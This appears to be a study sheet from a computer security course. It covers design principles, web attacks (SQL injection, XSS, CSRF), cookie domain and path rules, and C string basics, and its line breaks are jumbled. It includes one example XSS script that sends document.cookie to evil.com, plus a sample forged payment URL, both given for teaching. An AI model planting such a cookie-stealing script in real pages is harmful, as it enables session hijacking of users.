Security Principles

Security is economics. No system is completely,

100% secure against all attacks. Rather, systems
may only need to resist a certain level of attack.
There is no point buying a $10,000 firewall to
protect $1,000 worth of trade secrets. Ex: safes
Least privilege. Give a program the set of access
privileges that it legitimately needs to do its job
but nothing more. Try to minimize how much
privilege you give each program and system
component
Use fail-safe defaults. Use default-deny polices.
Start by denying all access, then allow only that
which has been explicitly permitted. Ensure that if
the security mechanisms fail or crash, they will
default to secure behavior, not to insecure
behavior.
Separation of responsibility. Split up privilege,
so no one person or program has complete power.
Require more than one party to approve before
access is granted. Ex: two launch officers must
agree before the missile can be launched.
Defense in depth. If you use multiple redundant
protections, then all of them would need to be
breached before the systems security will be
endangered.
Psychological acceptability. It is important that
your users buy into the security model. Example:
Suppose the company firewall administrator gains
a reputation for capriciously, for no good reason,
blocking applications that the engineers need to
use to get their job done. Pretty soon, the
engineers are going to view the firewall as
damage and route around it
Human factors matter. Security systems must
be usable by ordinary people, and must be
designed to take into account the role humans will
play. Example: Your web browser pops up security
warnings all the time, with vague alarming
warnings but no clear indication of what steps you
can take and no guidance on how to handle the
risk. If youre like most of the user population,
youre soon going to learn to always click Ok any
time a security dialogue box pops up.
Ensure complete mediation. When enforcing
access control policies, make sure that you check
every access to every object.
Know your threat model. Be careful with old
code. The assumptions originally made might no
longer be valid. The threat model may have
changed.
Detect if you cant prevent. If you cant prevent
break-ins, at least detect them. Save audit logs so
that you have some way to analyze break-ins after
the fact.
Dont rely on security through obscurity
Design security in from the start. Trying to
retrofit security to an existing application after it
has already been speced, designed, and
implemented is usually a very difficult proposition.

Conservative design. Systems should be

evaluated according to the worst security failure
that is at all plausible, under assumptions
favorable to the attacker.
Kerkhoffs principle. Cryptosystems should
remain secure even when the attacker knows all
internal details of the system. The key should be
the only thing that must be kept secret, and the
system should be designed to make it easy to
change keys that are leaked (or suspected to be
leaked).
TCB- Should be small. It is that portion of the
system that must operate correctly in order for the
security goals of the system to be assured.
Several principles guide us when designing a TCB:
Unbypassable: There must be no way to breach
system security by bypassing the TCB.
Tamper-resistant: The TCB should be protected
from tampering by anyone else. For instance,
other parts of the system outside the TCB should
not be able to modify the TCBs code or state. The
integrity of the TCB must be maintained.
Verifiable: It should be possible to verify the
correctness of the TCB. This usually means that
the TCB should be as simple as possible, as
generally it is beyond the state of the art to verify
the correctness of subsystems with any
appreciable degree of complexity.
TOCTTOU synchronization exploit.
Privilege Separation- We split the architecture
up into multiple modules, some privileged and
some unprivileged.
Desirable security goals
Integrity: malicious web sites should not be able
to tamper with integrity of my computer or my
information on other web sites
Confidentiality: malicious web sites should not
be able to learn confidential information from my
computer or other web sites
Privacy: malicious web sites should not be able
to spy on me or my activities online
Availability

DDOS
that
makes
website
unavailable.
Same Origin = protocol + hostname + port
SQL Injection Browser sends malicious input to
server. Bad input checking leads to malicious SQL
query
XSS - Cross-site scripting.
Attacker injects a malicious script into the
webpage viewed by a victim user Script runs in
users browser with access to pages data
The same-origin policy does not prevent XSS
Stored XSS: attacker leaves Javascript lying
around on benign web service for victim to load
Reflected XSS: attacker gets user to click on
specially-crafted URL with script in it, web service
reflects it back
<script> window.open( "http://evil.com/?cookie =
" + document.cookie ) </script>
To prevent XSS: Input validation: check that
inputs are of expected form (whitelisting) Avoid

blacklisting; it doesnt work well. OR Output

escaping: escape dynamic data before inserting it
into HTML. Looks for < > &, turns it into &lt, &amp
CSRF Cross-site request forgery. Bad web site
sends request to good web site, using credentials
of an innocent victim who visits site.
Defenses: secret validation token, referrer
validation, custom http headers.
User logs into bank.com (browser sets cookie),
user clicks link or visits malicious site that does
some action on bank.com such as paying a bad
guy.
https://www.cashbo.com/payment?
amount=1&recipient=Ev
Session
fixation:
another form of CSRF, attacker logs in and gets
good user to use attackers account to pay
attackers bills
Cookies: TLD = top level domain = .com host =
login.site.com. allowed domains:
login.site.com .site.com. disallowed domains
user.site.com othersite.com .com
strlen(s) calculates the length of the string s, not
including the terminating \0 character.
strcpy(dst, src) copies the string pointed to by src
to dst, including the terminating \0 character.
sprintf works exactly like printf, but instead
writes to the string pointed to by the first
argument. It terminates the characters written
with a \0.
Test thoroughly: random testing, mutation,
penetration testing (pay someone to break your
system)
Precondition: something you can rely on
someone else doing. Ex dont pass Null as the 1 st
argument. Callers responsibility.
Post condition what holds after the function
completes. Coders responsibility.
size_t is unsigned!
Common Instructions
mov a, b copy value of a into b
push a push a onto the stack (decrement
stack, copy value over)
pop a pop data from stack into a (copy value
over, increment stack)

Ex: The server "sales.example.com" can set

cookies with domain of "sales.example.com"
or "example.com" but not ".com"

Phishing Prevention:

A cookie is sent only if both the domain and path

checks say the cookie can be sent.

Setting a cookie:

Checking the domain:

Setting domain:

1. If the domain was explicitly set to some

hostname, then the cookie is sent to that exact
hostname and to any subdomains of that
hostname.

Prevention: check address bar carefully, guard against

spam, dont click links/attachments from unknowns

Option 1. The domain attribute can be set to any

domain suffix of the URL hostname except the toplevel domain (TLD), such as ".com" or ".edu",
which are too broad.

Option 2. If you don't set the domain attribute

when setting the cookie, something weird
happens. On most browsers*, it defaults to the
exact hostname.
Ex: If the server doesn't set the cookie domain, a
cookie from the server "sales.example.com" will
be sent only to "sales.example.com". The
footnote is that IE is its own special flower, and
treats this case differently than most other
browsers. For that reason, if you are developing a
new website, I recommend you avoid Option 2 and
always set a domain attribute explicitly.

Setting path:
Option 1: Set the path to anything you want (in
reality, the specifications say that the path cannot
be relied on for security)

Option 2: Don't set path, in which case the path

defaults to using the current directory in the URL
path component
Ex: "www.example.com/tmp/hws/test.pdf" will
have a cookie path default to "/tmp/hws/"

Sending a cookie:

Ex: A cookie set by "sales.example.com" with

domain = "example.com" will be sent
to "sales.example.com", "example.com",

"marketing.example.com",
"spring.sales.example.com", etc.

Checking the path:

1. The cookie is only sent to pages where the URL
path component is equivalent or a subdirectory of
the cookie's path value.

2. If the domain was not explicitly set, then on

most browsers*, the cookie is only sent to the
exact hostname that the cookie domain defaulted
to.
Ex: If the cookie domain attribute was not set, a
cookie from "sales.example.com" will only be sent
to "sales.example.com" but not "example.com" or
"marketing.example.com" or
"spring.sales.example.com" (on most browsers).
As before, IE treats this differently, so if you want
predictable behavior from your website, it's best to
avoid this case and always set the domain
attribute on your cookies.

Ex: If the path is not explicitly set for cookies on

"www.example.com/tmp/hws/test.pdf", then they
are sent to pages "www.example.com/tmp/hws/*"
including subdirectories like
"www.example.com/tmp/hws/2016/"
Disclaimer: Some browsers do other weird things,
but for this class, assume the path is checked as
described above.